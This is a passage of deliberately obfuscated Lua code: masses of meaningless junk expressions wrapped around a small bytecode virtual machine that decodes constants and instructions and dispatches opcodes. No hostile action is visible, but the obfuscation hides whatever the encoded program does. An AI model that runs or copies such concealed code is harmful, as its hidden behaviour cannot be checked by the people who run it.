while((#_)()and((#(not{[(((-#n))())]=((-#_)).____________;[(#(not _))]=(_).____________;})).____________)()+((-#(not _)))()/(((-(not _))).____________)()>=((-#(not _)))()+(#_).____________/((-(not _))).____________<=(-#(not _)))do end;end;end;end;end;do local function _(...)for n=((not _)).____________>(#_).____________%((-_)).____________>=((-#_)).____________ or(-#(not{(#_).____________;[(((not _))())]=((-#(not _))).____________;[(_)]=((#_).____________)();}))/(-#(not _))-(#(not _))()or((not _))()/((-(not _))).____________ and(_)()^_<=((-#_)).____________,((-#_)).____________/((-(not _))).____________/((not{}))()>((-#(not _))).____________ or((#(not _)).____________)()<=(-_)+((not _))()==#(not _)and((-_))()>=((-#(not _)))()+(-(not _))and(#(not _)).____________,(#(not _))()and((-#(not _)))()<=(((-_)).____________)()*#_^((-_)).____________ and((-#(not _))).____________ or((#_).____________)()^(-(not _))<((-#(not _))).____________ or(((-(not _))).____________)()^((not _))()>=(((not _)).____________)()do for _=(#n).____________<(not(function(o,o,o,o,o,o,o,n,...)return((-_)).____________,((not _))(),(((-_)).____________)(),(-(not _)),#n,((-#(not n)))();end))^((-(not#(not n)*((-#(not _))).____________/(-(not _))^(#_)()))).____________<(_)()^((-#(not _)))()or((not n)).____________+(#_)()+(-(not _))^(#(not _)).____________ or(#_)(),(((-_)).____________)()^(((-(not _))).____________)()>=((-_)).____________%((n).____________)()*((_).____________)()+(-#_)<=((#(not _)).____________)()*(#(not _)).____________ or(-#_)>(((-(not _))).____________)(),((not _)).____________<(_)()or((-(not(function(...)return;end)))).____________ or(#_)()-(-#_)^(-_)and((-#(not _))).____________+((#(not n)).____________)()and(-#(not _))<=(-#_)do local function _(...)end;local function _(...)end;end;local n=((-(not(((-#(not _))).____________)()or((-#_)).____________*(-n)<((-_))()<(-#_)<=(#_)()-(#(not _))()>=((_).____________)())))();local function n(...)local function n(...)end;if(((-#_)).____________^((-(not n)))()^((-#(not n)))()<(n)()*((#(not _)).____________)()*(#(not _))()-((#_).____________)()>=(-#(not _)))then end;for _=((#(not _)).____________)()>(((-(not _))).____________)()<((not _))()+(-_)-(-#(not _))/(-#(not _))and(-#_)or((-_))(),(not _)and((-#_)).____________/(((not _)).____________)()+((not _))()*((-n))()%((#(not n)).____________)()<=((#_).____________)()-#_,#_<(#(not _))()*(-#_)>=#_*(not _)%(#(not _))()and#(not _)^(#(not _))()do end;end;end;end;end;local o=(((((L(o))))))do local function _(...)for n=(((not{[(((not _))())]=(((-#_)).____________)();[(_)]=(-#_);[(((not _)).____________)]=((-#(not _))).____________;(#(not _))();})).____________)()/((-#_)).____________+((-(not _))).____________ and(_)()<=#(function(n,n,n,n,...)return((not _))(),(((-#(not _))).____________)(),((not _)).____________,(((-_)).____________)();end)>((#(not(((not _)).____________)()<=((-#(not _))).____________>=(((not _)).____________)()<(-#_))).____________)()^#_^(-#_)*((-(not _))).____________ and(#_).____________/(#(not _))()>=(((-#(not _))).____________)(),(#(((-_)).____________)()*(_)()>(#(not _))()/#(not _)+(-_)<((-_))()-(-#(not _))^(((-#_)).____________)())()^(((-#(function(...)return(#(not _))(),((not#_>=#(not _)==(not _)*(((not _)).____________)())).____________;end))).____________)()==(#_).____________<((-#(not _)))()-((#(not _)).____________)()-(#_)()*((-(not _))).____________>((-_)).____________ and((-(not _)))()>=((#_).____________)()<((-#(not _))).____________+((-(not _)))(),(_)()==((-#(not _)))()>(#_)()-((-#{[(((_).____________)())]=((-#(not _)))();#_;(-_);((-#(not _))).____________;((-(not _)))();[(((-#_)).____________)]=((not _)).____________;}))()*(-((-(not _)))()/((_).____________)()*((#(not _)).____________)()%(-(not _)))/(#_)()>=(#(not _))()<(((-(not _))).____________)()^(#(not _))()%((-_))()^(#(not _))()*((-#(not _)))()do if(((not _))()or(((-{(((-(not _))).____________)();(-#(not _));[((#(not _)).____________)]=((-(not _))).____________;[((-(not n)))]=((-#(not _)))();})).____________)()<((not _))()-(-#_)*(_)()>=(-#_)-((-#(not _)))()or((-_))()>=((-_)).____________*((#(not _)).____________)())then for _=((not _))()==({[((((-#(not n))).____________)())]=(((-(not _))).____________)();[((((-_)).____________)())]=((#_).____________)();}).____________*((-#(not _))).____________ or((-_)).____________^((#(not _)).____________)()*(#(not n)).____________-(((not _)).____________)()and(#_).____________,_/(#_)()*(#(not _)).____________-((-_))()or(-(not n))and(((-#_)).____________)()/((not _))()^(((-(not _))).____________)(),((-_))()<=((-#(not _))).____________>=((-(not _)))()>=((#_).____________)()<(-#(not _))<=((not _))()<(not _)^(#(not _)).____________ do end;end;for n=(_)()or(-#(not _))+((-#(((-#(not _))).____________)()>=(((-_)).____________)()>=_%(((-#(not _))).____________)())).____________*(((-#(not _))).____________)()or#_==(((-#(not _))).____________)()>((_).____________)()>((-n)).____________==((#_).____________)()==((-#_))(),(#n).____________^(((not _)).____________)()*((-(not(function(n,n,n,n,n,n,n,_,...)return(((-#_)).____________)();end)))).____________^((-(not _))).____________*(#_).____________>=(((-#(not _))).____________)()>=(_)()^((not n))()<(#(not _))()<(-#(not _)),((-#_))()==(-(not _))>=((-#(not _)))()/(-(not{[(((-(not _))).____________)]=((-(not _)))();((_).____________)();(((-(not n))).____________)();}))%((not _)).____________/(-#(not _))-(-(not _))and((-_)).____________*((-#(not _)))()^((-#n))()do if((-(not(function(n,n,n,n,n,n,n,n,...)return(_)(),(-_),((not _)).____________,(-#_);end)))+((#(not _)).____________)()%#_<=((not _))()*((_).____________)()and(_).____________==_>=(_)())then end;end;local _=(#(not((-#_))()>=((-#_)).____________^(_)()<((_).____________)()-(-_)<=(-#(not _))<=((-#_))()==(((-#_)).____________)()))();end;local _=(-(not _))or(((-#_)).____________)()/((not _))()==((not _))()==((-#(not{[(((not _))())]=_;((-(not _)))();[(((-#_)).____________)]=((-_)).____________;((not _)).____________;[(((_).____________)())]=(#(not _))();}))).____________-(#(not _))()%((-#(not _))).____________>=(-#(not _))and(-(not _))%(not _)<=(#_).____________*((-(not _))).____________;end;end;do local function _(...)local function n(...)local n=((-#_)).____________;if(((#(-#(not _))>=(#_)()%((-#_)).____________*((-#(not n))).____________*(-#(not _))==((_).____________)()).____________)()>(-(-#_)^(-_)-(#_).____________<=(_).____________+((not n))()>=(not _))>=((-(not{[((#(not n))())]=_;(not _);}))).____________>=((function(n,n,n,n,n,n,n,...)return(#_).____________,(((-(not _))).____________)();end))()>(((not _)).____________)()+((-#(not _)))()/(#(not _))()^((-(not _))).____________<((not _))()*((-(not _)))())then local function n(...)end;if(_%(#_)()/(-#_)>((not _)).____________-(((-#(not _))).____________)()+(_).____________ and((-(not _)))()>(_)())then end;end;while((((-(not _))).____________)()^(((-#(not _))).____________)()or((not(function(o,n,...)return(-_),((-#(not _))).____________,(-#_),(((-#_)).____________)(),(#(not _))(),(-(not n));end)))()^((-_))()+((not _))()^(n)()==((_).____________)()==(((-#(not _))).____________)()/((#n).____________)()or((#_).____________)())do if(((-_)).____________ and(#(function(n,n,n,n,n,n,n,...)return((#_).____________)(),((-#_)).____________,(-#_);end)).____________%(_).____________+(-#(not _))^((-#(not _)))()and#(not _)+(#(not _))()^(#(not _))())then end;while(((not _))()>=(_).____________==((-_)).____________/(_).____________%((#(not _)).____________)()<=(_).____________==((-_))()<=((-(not _)))())do end;local _=(#_).____________;end;end;end;end;do local function _(...)local function n(...)for n=((-#((-#_)).____________-((-(not _))).____________-(((-#(not _))).____________)()>=(-#(not _))^(-#_)>=(_)()))()+((-(not(function(n,n,n,n,n,n,...)return((#_).____________)(),((_).____________)();end)))).____________-(-#(not _))>=(((-#(not n))).____________)()/#_ or((#_).____________)()<=(#(not _))()or((-#_)).____________>#(not _)^((-_)).____________,((-(not _)))()^(-#(not _))*(#(not(function(n,n,n,n,n,...)return((-#(not _))).____________,_,(-(not _));end)))()%#(not n)>=(-_)==_>_<(-#_)-((not _))()and(-_),(-(not _))>((-#{[(((-(not n))).____________)]=(-#(not _));[(_)]=(-#(not _));})).____________>(#(not _)).____________ or((-(not _)))()%(((-#(not _))).____________)()-(((-_)).____________)()-(not _)>=((-_)).____________<=((-#_)).____________ and((-(not _))).____________ do local n=((not _))();local n=((-#(not n))).____________;while((#_)()*((-#_))()<=(-(not _))^((-#_)).____________<((-(not _))).____________%((-_))()and(-_)^(((-#_)).____________)())do end;end;local function n(...)local _=(((-#_)).____________)();end;local _=#(not _);end;local _=((-#_))()+(#_)()or(-(not _))<=((not(function(n,n,n,n,n,n,n,...)return((-#(not _)))(),(-(not _)),((-_)).____________;end)))()or((_).____________)()==(not _)^((-#_)).____________>=((-(not _)))()*(_).____________+(#n).____________==((not _)).____________%(-(not _));end;end;return((((o))))end;do local function _(...)if(((_).____________)()or((-#(not _)))()+(-(not _))==(not _)<=(function(...)return((not _))(),(((-(not _))).____________)(),((-#(not _))).____________,(#(not _)).____________,((#(not _)).____________)();end)/(((-#(not _))).____________)()<=(((-_)).____________)()+((-#_))()>((-(not _))).____________ and(((not _)).____________)()%(not _)%(#_)())then local n=((-#(not _)))();local n=(((not _)).____________)();local n=((-_)).____________;while(((-#(not _))).____________%(((-#(not _))).____________)()*(#(not(-(not _))and(((-#_)).____________)()==(-_)and(_)()))()<=(((-#(not(#(not _))()-(#(not _))()^(((-n)).____________)()>((-(not _))).____________))).____________)()or _ or((-(not _))).____________>(not _)>=(#_).____________<=_+(((-(not _))).____________)())do local function _(...)end;end;end;if(((-{((-_)).____________;((not _))();(((-(not _))).____________)();[(((_).____________)())]=#{[(((not _))())]=(-#(not _));[(_)]=((#(not ____________)).____________)();(#(not _))();[(((-_)).____________)]=(#(not _)).____________;};}))()%(((-(not _))).____________)()<=((-#_)).____________<=(#(not{(((-_)).____________)();}))()^((#(not{[((#(not _)).____________)]=((-#____________)).____________;[(((#(not _)).____________)())]=(#(not ____________)).____________;[(((-_)).____________)]=((not _))();((not _)).____________;[(((_).____________)())]=(((-(not _))).____________)();})).____________)()*(-#_)or((not _)).____________ or((-(not _))).____________-((-#____________))()/(((not ____________)).____________)()^((-(not _)))()and(#(not _))())then while(((-_)).____________/(#(not _)).____________/(#(not _))()==(_).____________ and(((-(not _))).____________)()>=#(not _)-((-#(not _)))()or(-#_)>(-_)<((-#_)).____________)do local n=((-(((-_)).____________)()/(-#(not _))^(_)()and((-#(not _))).____________<=((_).____________)()==(-#(not _)))).____________;if((_).____________%(-#(not(_).____________==((-_))()^(((-#_)).____________)()==#(not n)))<(_).____________<((#(not _)).____________)()/((-(not _))).____________==((-(not n))).____________ and((not n))()>=((not _))())then end;end;if(_^#_==((-#_)).____________>=(#(not _))()>((-(not _))).____________%(((-#(not _))).____________)()/((_).____________)()+((#_).____________)()<((not ____________))()>(((-(not _))).____________)())then local n=(-(not _));while(((-(not(-#_)/_/(#_)()>_))).____________%((-_))()>(-_)or(_).____________%(#_)()==((-#_)).____________^(not _)*(((not _)).____________)())do end;local _=#_;end;if(#_-(_)()/((_).____________)()^((#(function(n,n,n,n,...)return((-_)).____________,(-_);end)).____________)()*(-#(not _))%#(not _)^(_).____________*((-_)).____________<((-#_))()/#(not _))then local function n(...)end;while(((#(not(function(o,o,o,o,o,o,o,n,...)return(-#(not _)),(_).____________,((-#(not _))).____________,(-#(not n)),(#_).____________,(((-#n)).____________)(),(_)(),((#(not _)).____________)(),((#_).____________)();end))).____________)()<=((-#(function(o,o,o,o,n,...)return#(not _),(#_).____________,((-#(not _))).____________,(#(not n))(),((-_))(),(#(not _)).____________,((-#_)).____________,((-_)).____________,(#(not _)).____________;end)))()<((-_))()+(((-#_)).____________)()-((-#_))()-((#_).____________)()<=((-#(not _)))()%(_).____________)do end;end;end;end;end;do local function _(...)while((-(not _))/(((function(n,n,n,n,n,n,...)return(((function(o,o,o,n,...)return((-_))(),((not _)).____________,(not n);end)).____________)(),(-#(not _)),(((-(not _))).____________)(),((-(not _)))(),(((-_)).____________)(),(((-_)).____________)(),(((-_)).____________)(),(#_)();end)).____________)()^(-_)>((-{[(((-#(not _)))())]=(-_);})).____________<((-#(not(function(n,n,n,n,n,n,...)return(#_)();end)))).____________ and((#(not(function(n,n,...)return(((-#(not _))).____________)(),((not _))(),((not _))(),(((-_)).____________)();end))).____________)()-(((-_)).____________)()>(((-#_)).____________)()<=((-#_))()<=(((-(not _))).____________)()or(((-#_)).____________)()<=((-(not _)))())do while(#(not _)%(((not{})).____________)()/(((not{(_)();[((((not _)).____________)())]=((not _))();(-_);})).____________)()+((#_).____________)()and((not _))()^((#(not _)).____________)()<(-#(not _))and _>(#_)()>=(-#(not _)))do for _=(-#(not(((not _)).____________)()+(((-#_)).____________)()or((not _))()+(-#(not _))))<=((not _)).____________==((not _))()and(-(not _))%((#(not _)).____________)()+(-_)<=((-#_))()<=((-#_)).____________,(_)()/(not _)or(_).____________^((_).____________)()-#_==((-#_)).____________+(-#_)>((-(not _))).____________,(-(not(function(o,o,o,o,o,o,o,n,...)return(#(not n)).____________,((not _))(),((-#_))(),((not _)).____________,((-(not _))).____________,((-#_))(),((n).____________)();end)))-(-#_)^((-_))()/((not _)).____________/(((-(not _))).____________)()>((-_))()==(((not _)).____________)()>((-#(not _)))()do end;for _=#(not _)-((-#(not(-(not _))-(((-(not _))).____________)()or(-_)and#_))).____________%((_).____________)()or(((not _)).____________)()+((-#(not _))).____________ and((-#_)).____________ and((-#_)).____________>=((not _)).____________,((#_).____________)()<=((-#_))()or((-_)).____________<_ and(#_).____________ and(#(not _))()>=(((-#_)).____________)()/((-#_)).____________,(((not _)).____________)()+((-(not _)))()%((not _))()/((not _))()==_>(#_).____________>=(-#(not _))*(#_).____________ do end;end;local n=(#(not _)).____________;local function n(...)if((((not _)).____________)()-((-(not _)))()<((-#(not _))).____________/((#_).____________)()-(((-_)).____________)()^(((-(not _))).____________)()^(((-#(not _))).____________)()>((#(not _)).____________)())then end;if(((-#_))()<(#(not _)).____________>(#(not _))()*(((not _)).____________)()-((not _)).____________/(-#_)>((#(not _)).____________)()*#(not _))then end;while((((not _)).____________)()==(#_)()>=(-#(not _))^_%((_).____________)()<=(not _)>=(((-_)).____________)()-((#_).____________)())do end;end;end;end;end;local _=e;local function a(...)return{...},h('#',...)end do local function _(...)for n=((-#_))()^(not((#(not(-#(not _))%((-_)).____________>=(((not _)).____________)()^((-(not _)))())).____________)()>=(_)()==(-(not _))<=(((-(not _))).____________)()>((-_))()and#(not _)/(((-_)).____________)()/((-#_)).____________)*(-(not _))/((-(not _)))()%(((-((-#_))()>=((-#(not _)))()>(-(not _))>(((-#_)).____________)())).____________)()+(((-#(not(function(n,n,n,n,n,...)return(-_),(((-#_)).____________)(),((not _))(),((#(not _)).____________)(),(((-_)).____________)(),(((-(not _))).____________)(),((#_).____________)(),(((not _)).____________)(),(-_);end)))).____________)()<=(#_)()>_+(#_).____________>=(#_)()-_*(((-#_)).____________)(),(-(not _))>=(#(not _))()>((not _)).____________*(((-_)).____________)()<(#_)()/((-_))()*(#(not _))()%((-(not _))).____________ or(_)()==(((-(not _))).____________)()+((-(not _)))()<((-(not _))).____________,(not((-#_)).____________<=((-_))()%(not _)%(#_).____________*(#(not _))()>(-#_)>=(not _)or _)^(-#_)>((not _)).____________ and(-#_)>(-(not _))-((#(not _)).____________)()>(#(not _)).____________^(_)()or((-_))()^(#_)()/((-_))()>=((-#_)).____________ do local n=((-_)).____________;local n=(not((-(not _))).____________<((_).____________)()and((-(not _)))()<=#n%((-_))()==((-#(not _))).____________==((-_))()or((-(not _)))());for n=(((not{[((#(not _)).____________)]=(((-_)).____________)();#_;[(((-(not _)))())]=(((-#(not _))).____________)();})).____________)()and((n).____________)()<=(#(not _)).____________*(#(not n)).____________^_>(((-_)).____________)()>=((n).____________)()<(#_).____________<=((not _)).____________ or(((-#(not _))).____________)(),((#(not _)).____________)()<=((-_)).____________+(#(not _)).____________/(#_).____________-((-_)).____________<_%((not _)).____________%((not _))()+((#_).____________)()>(#_).____________,(_).____________ or(#(not n))()<=((-#(function(...)return(((-(not _))).____________)(),(#(not _)).____________,((-#_)).____________,((#(not _)).____________)(),((-_)).____________;end)))()<(((-(function(_,...)return;end))).____________)()<(#(not _))()>(-#(not n))>=(-(not _))+((not _)).____________==(((-#_)).____________)()+((not _))()do local function n(...)end;for _=((function(n,n,n,n,n,n,n,n,...)return(((not _)).____________)(),((_).____________)();end))()%(#_)()>(#(not _)).____________>(((-#(not _))).____________)()*((#(not _)).____________)()%((-(not _))).____________<((-#(not _)))()or((-(not _)))(),(((-#(not _))).____________)()>=(((-#(not _))).____________)()==((-#(not _)))()or(((-#(not _))).____________)()+(_)()==((#_).____________)()^((#(not _)).____________)()or(not _),(#_).____________+n>=((not _)).____________>(-(not _))-(_).____________<=((-_))()^((#(not _)).____________)()<=((-(not _)))()do end;while(((-#_))()*(((not _)).____________)()^(((-(not _))).____________)()>((-(not _)))()/_==((-#(not _))).____________ and(((-#(not _))).____________)()^(((not n)).____________)())do end;end;local _=((-(function(n,n,n,n,n,...)return((not(function(n,n,n,n,...)return(_).____________,(((-#_)).____________)(),#_,_,(#_)(),((-#_)).____________,(#(not _))(),(-(not _)),(_).____________;end))).____________,((-_)).____________,((-(not _))).____________;end))).____________;end;local _=(#_).____________==((-#_)).____________/#_ and(#(not(function(n,n,n,n,n,n,n,...)return((-(not _)))(),((_).____________)(),(-#(not _)),(#(not _))(),(((-#_)).____________)(),(#_)(),#(not _),((-(not _))).____________,((-_)).____________;end)))()<((#(not _)).____________)()<=((-#_))()==_+((not _)).____________==(#(not _)).____________<=(#(not _)).____________==((not _))()/((_).____________)();end;end;local function u()local i={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};local _={0,0};local o={};local l={{[1]={[1]=i}},nil,{[1]={[1]=_}},nil,{[1]={[1]=o}},};for n=1,e()do _[n-1]=u();end;local _=e()local o={0,0,0,0,0,0,0,0,0,0,0,0,0,0};for e=1,_ do local n=r();local _;if(n==2)then _=(r()~=0);elseif(n==0)then _=E();elseif(n==1)then _=w();end;o[e]=_;end;l[2]=o for l=1,e()do local d=t(e(),87);local o=t(e(),222);local e=n(d,1,2);local _=n(o,1,11);local _={_,n(d,3,11),nil,nil,o};if(e==0)then _[3]=n(d,12,20);_[5]=n(d,21,29);elseif(e==1)then _[3]=n(o,12,33);elseif(e==2)then _[3]=n(o,12,32)-1048575;elseif(e==3)then _[3]=n(o,12,32)-1048575;_[5]=n(d,21,29);elseif(e==4)then _[3]=n(o,12,33);elseif(e==5)then _[3]=n(o,12,32)-1048575;elseif(e==6)then _[3]=n(o,12,32)-1048575;_[5]=n(d,21,29);end;i[l]=_;end;l[4]=r();return l;end;local function f(_,n,i)local e=_[1];local t=_[2];local o=_[3];local r=_[4];do local function _(...)for n=#(not _)==((_).____________)()^((-#_)).____________^((-#____________)).____________*(((-(not{(((-(not _))).____________)();_;((-#(not _))).____________;}))).____________)()%(((-#(not _))).____________)()+((#_).____________)()^(((-_)).____________)()+(-(not _))>=((-_))()*(not _)<=((-(not _))).____________,(_).____________<=((-____________)).____________ and((not ____________))()/({[((((not _)).____________)())]=(#(not _))();(-_);[(((-#(not ____________)))())]=((#_).____________)();[(((_).____________)())]=(#(not _))();})()>#_<=(#(not _)).____________>(((-_)).____________)()-(#(not _)).____________*(not _)-(((not ____________)).____________)()/((-(not _)))()^((-#(not _))).____________,(-(not _))or(#(not _))()+(not _)>=((#(function(n,n,n,n,n,n,n,n,...)return((#_).____________)();end)).____________)()==(#(function(n,n,n,n,n,n,n,...)return _,((#_).____________)(),#_;end)).____________-((_).____________)()>(-#(not _))<=(-#_)<=(#____________).____________%(((-_)).____________)()-((not _))()>(#(not _)).____________ do local n=((-##_<((_).____________)()and((-_))()>((_).____________)()<=((-#_)).____________-(-#(not _))-((-#(not n)))()and(not _))).____________;for n=(((-(not n))).____________)()>=((-(not(((-#(not _))).____________)()<((-#(not _)))()+((-#(not _))).____________*#_==((#_).____________)()and((#n).____________)()))).____________*(#(not(((not _)).____________)()==#(not _)==((-#_))()==(not n)))()>(-#(not((-_)).____________*#_>=(not _)*((-#(not _))).____________))^(-_)-((not _)).____________==(#(not _))()>=((not _))()-((-(not _))).____________%(_).____________,(-#(not _))or((-(not _))).____________%#(not _)/#_>((-#(not _))).____________==((-(not _))).____________*(((-#_)).____________)()+((-#_)).____________>=(#(not _)).____________<((-#_))(),((#_).____________)()*(not _)/((-(not _))).____________ and((-_)).____________<(#(not _)).____________>((#(not _)).____________)()+(((-_)).____________)()or(((-#_)).____________)()<=(_).____________-#n do for _=(((-#_)).____________)()-(#_)()^#_+(#_)()%(((-(not n))).____________)()^(-#(not _))==(#(not _)).____________<((not _)).____________,((-_))()and(_)()*(#(not n)).____________/((_).____________)()<((-(not _))).____________*(#_).____________%(((not _)).____________)()>_,(-#_)+#(not _)%(_)()==(((-_)).____________)()%(#(not _))()<(((not _)).____________)()+_/#_ do end;if(n<((-(not(function(o,o,o,o,o,o,o,o,n,...)return(#(not _))(),((-_)).____________,(not n);end))))()>=((-#_))()or(_).____________ or((#(not _)).____________)()>=(((-#n)).____________)()/((-(not _)))()^(#_).____________)then end;end;while((not _)or((-#(not n)))()/((#{((-_))();((-#(not _)))();(not _);((_).____________)();}).____________)()and(_).____________%#(not _)==(-#(not _))*((-#(not _)))()<=(#(not _))()%(((-(not _))).____________)()-((-_)).____________)do local function n(...)end;if((((-#(not _))).____________)()/#(not _)or(((not _)).____________)()^(_).____________<=(((-#_)).____________)()or(((-#(not _))).____________)()-((#(not n)).____________)()*(-#_))then end;local function _(...)end;end;end;end;end;return function(...)local w=e[1][1];local d=t;local s=o[1][1];local e=r;do local function _(...)while((-_)<=(#(not ____________))()*(((-#((-(not _))).____________==(#_)()>=((#_).____________)()/_ or(-_)<#_)).____________)()^({#(not _);((-_))();}).____________>(-_)>((-(not _))).____________*((-(not _))).____________/((not _))()*((-#_))()<=((not _))()/#(not _)<=(((-#_)).____________)())do local function n(...)local function n(...)end;if((-_)or((-#_)).____________>_>(((-#(not _))).____________)()*((not _))()+(n)()and(-(not _))<=((_).____________)())then end;end;local function o(...)local function n(...)end;if((-{((-_))();(((-(not _))).____________)();((-(not n)))();[((_).____________)]=((-(not _)))();((-_))();((-#_)).____________;[((-_))]=((not _))();[(((_).____________)())]=(#_).____________;})*(#(not _))()==((-#_))()-(not _)==((not n)).____________-((-#_)).____________^((-(not _)))()-((not n))())then end;while(((-(not _)))()<((-#(not n))).____________==((-(not _)))()==((#(not _)).____________)()>(-#(not _))%(#(not _)).____________<(_).____________-((#(not _)).____________)())do end;end;while(((#(not _)).____________)()>=(-(not _))+({(_).____________;(#(not _))();(#(not _)).____________;(#(not _))();}).____________>((_).____________)()<(-_)*(-o)*(-#_)<((-#(not o)))()>(#_).____________==(#_)())do local function n(...)end;local n=(#(not _)%((not _)).____________<=((_).____________)()<=(#(not _))()*(-#(not _))-((-(not _)))()).____________;local _=((#(not _)).____________)();end;for n=(-#(function(n,n,n,n,n,n,n,n,n,...)return(not _),((-#_))();end))*(_)()-((-(not _))).____________<=#(not _)-#_ and((not _)).____________ or(not _)and(((-#_)).____________)()<((#(not _)).____________)()or(((-#(not _))).____________)(),(((-_)).____________==(_)()/((-(not _))).____________<=(#(not _))()^((_).____________)()>=(_)()).____________>(not _)<=((-_))()<(-(not _))+(#_)()<=((-#o)).____________>((-_)).____________*(#(not _))()^(((-#(not _))).____________)()%(#_).____________,(-#((_).____________)()==((-_)).____________ or(((-#_)).____________)()-(#(not _)).____________+((-(not o)))()<=(_)())+(((-#(not _))).____________)()+((#{(#(not _)).____________;(not _);(#_).____________;[((not _))]=(not _);((-_))();}).____________)()and((-#(not(function(o,n,...)return(-#n),((not _)).____________;end))))()/(((-#_)).____________)()>(-#(not _))*(((-#_)).____________)()>((#_).____________)()-(-#_)>_ do while(((-#(not{((-#n))();(((-_)).____________)();((-#(not _)))();[(((#(not _)).____________)())]=((#_).____________)();((_).____________)();((-#(not _))).____________;})))()^(_).____________^(((not _)).____________)()>=((-#(not _))).____________ and(-#(not _))>=((-#(not _))).____________==(_)()/_)do end;local function n(...)end;while((#(not _)).____________-(#_).____________%(-_)==((not _))()>=#(not _)<=(((-_)).____________)()<(-#_)==(((-#_)).____________)())do end;end;end;end;end;local a=a local o=1;local t=-1;local u={};local r={...};local c=h('#',...)-1;do local function _(...)if(((-____________))()-(((-(not _))).____________)()+((#(not ____________)).____________)()^(#_)()>(#(function(n,n,n,n,n,n,n,...)return((not _))(),(_)(),((-(not _)))(),((#_).____________)(),(#(not _)).____________,(#(not _))(),((-_))();end))()<=(not _)^(-#(not _))==((#(not _)).____________)()>=((-(not _)))()and((-(not _))).____________<((#(not _)).____________)()or(#(not _))())then local function n(...)local function n(...)end;local n=(not _);for _=(((-((-#_))()%((#(not n)).____________)()/((not _)).____________ or(#_).____________)).____________)()==(((-#(not _))).____________)()+((#(not _)).____________)()-#(not _)-((-_)).____________+(#_).____________>=((_).____________)()>=((-_))(),((#(not _)).____________)()/(((-_))()<_%(-#(not _))==(#(not _))()).____________<=(((-#(not _))).____________)()%#_ and(_).____________/(#_).____________ or((-(not _)))()>(#(not _))(),(((not n)).____________)()*(_)()>(((not _)).____________)()+#(not _)>(((-_)).____________)()%#_ and(-#_)==((-#_)).____________ do end;end;if((#(not _))()>(not((-(not _))).____________ and(((-#_)).____________)()*((#(not _)).____________)()-(_)()<(((-(not _))).____________)()^((not n)).____________)%(#(not _))()<=((n).____________)()>=(((not _)).____________)()<#(not _)^((not _)).____________<((-_)).____________>(_).____________-(_).____________)then local function n(...)end;local function n(...)end;if(#n-(-(not _))*(#(not _))()/(-#(not _))or(#(not _)).____________%(#_)()>=(_)()/(#(not _)).____________)then end;end;end;end;end;local _={};local n={};for _=0,c do if(_>=e)then u[_-e]=r[_+1];else n[_]=r[_+1];end;end;do local function _(...)while(((not _))()>(-#(not _))<=(#_).____________>=(#_)()==(-#(not _))<((-_))()and(#_).____________+(((-(not _))).____________)()*(((-(not _))).____________)()^(((-(not _))).____________)()<(((-#_)).____________)()<(-#_))do local function n(...)while(((-_)).____________>=(-_)%((not n))()or(#_)()+(((-(not _))).____________)()>((#(not _)).____________)()<=((-n))()/((-#(not _))).____________)do end;for _=(-(not _))or((-#_)).____________+((-#_))()*((-#(not _))).____________>=#(not _)%((not _))()^((-#_)).____________==((-#(not _)))(),((-#_))()/(((-(not _))).____________)()or(-#_)*(#(not _))()%_-((-#(not _)))()/(((-_)).____________)()-(_).____________,(((-_)).____________)()<=(#n)()<(((-_)).____________)()<=(-_)>=(#(not _)).____________>=(#_)()>=(((-(not _))).____________)()*(((-(not _))).____________)()do end;for _=(_)()/((#(not _)).____________)()-(((-(not _))).____________)()-((n).____________)()>=(#_)()==((_).____________)()/((not _)).____________%((-_))(),(_)()>=((-#(not _))).____________<(((-#_)).____________)()-((#_).____________)()/(_)()>=((not _))()<=(#(not _)).____________^((#(not _)).____________)(),((#(function(o,o,o,o,o,n,...)return(((-_)).____________)(),((not _)).____________,(not _),((-(not n))).____________,(-(not _)),(#(not _)).____________,((-#(not _))).____________;end)).____________)()<_ or(#_).____________^((#(not _)).____________)()>(-#_)-((-(not n))).____________*((-#(not n)))()and(((-#_)).____________)()do end;end;local n=(((not _)).____________)();for n=((-{((not _)).____________;[(#_)]=(((not _)).____________)();}))()or((not _)).____________>(((_).____________)()%(((-#_)).____________)()-((-#_))()and((-#_))()).____________*((-_)).____________^((#(not _)).____________)()and(not _)/(#_).____________<=((_).____________)()>(#_).____________ and(-_),(-#(not _))/((((-#(not _))).____________/((_).____________)()>((-#(not _)))()*(-(not _))or(_)()<=(((-(not _))).____________)()).____________)()<=(((-(not{[((-(not _)))]=_;}))).____________)()<_>((-#(not _))).____________>((not _)).____________*((-_)).____________^(((-#(not n))).____________)()or((-#(not n))).____________*((-_))(),((not _))()/((-#(not(function(n,n,n,n,...)return((#(not _)).____________)(),(((not _)).____________)(),((not _))(),((-#_)).____________,((-_))();end))))()==((-(not _))).____________ and(function(n,n,n,n,n,n,...)return(((not _)).____________)(),((-#_)).____________,(((-#(not _))).____________)(),(not _),#_;end)/((not _)).____________^_*((-#(not _))).____________<=(-(not _))and(_)()and(((-(not _))).____________)()do while(((-#_))()>((n).____________)()<=(((-(not _))).____________)()*(not _)<=((-(not _)))()*(-#_)/((not _))()or(_)())do end;while(((-#{((-_)).____________;((not _)).____________;[((not n))]=((-_)).____________;}))()>(((not _)).____________)()>=(-_)^(((-#_)).____________)()>((-#(not _)))()and(#(not _)).____________*(((-#(not n))).____________)()and((not _))())do end;end;end;end;end;local _=c-e+1 do local function _(...)local _=(-#(not _))%(((-#_)).____________)()<=#(not((not _)).____________%((not _))()^(#(not _))()>=((not _)).____________%(((-#_)).____________)()>=#_)<(-#_)+((#(not _)).____________)()>=((((-_)).____________>(#_)()^((_).____________)()^(#_)()).____________)()or(-#_)>=(-#_)>(((-#(not _))).____________)()+(not _)<=(-#_)<=#(not _);end;end;local _;local e;while true do _=w[o];e=_[1];if e<=18 then if e<=8 then if e<=3 then if e<=1 then if e>0 then n[_[2]]=i[d[_[3]]];else if(n[_[2]]~=d[_[5]])then o=o+1;else o=o+_[3];end;end;elseif e>2 then local e=_[2];n[e]=n[e]-n[e+2];o=o+_[3];else local o=_[2];local t=o+_[3]-2;local e={};local _=0;for o=o,t do _=_+1;e[_]=n[o];end;do return l(e,1,_)end;end;elseif e<=5 then if e>4 then if(d[_[2]]==n[_[5]])then o=o+1;else o=o+_[3];end;else for _=_[2],_[3]do n[_]=nil;end;end;elseif e<=6 then if(d[_[2]]~=n[_[5]])then o=o+1;else o=o+_[3];end;elseif 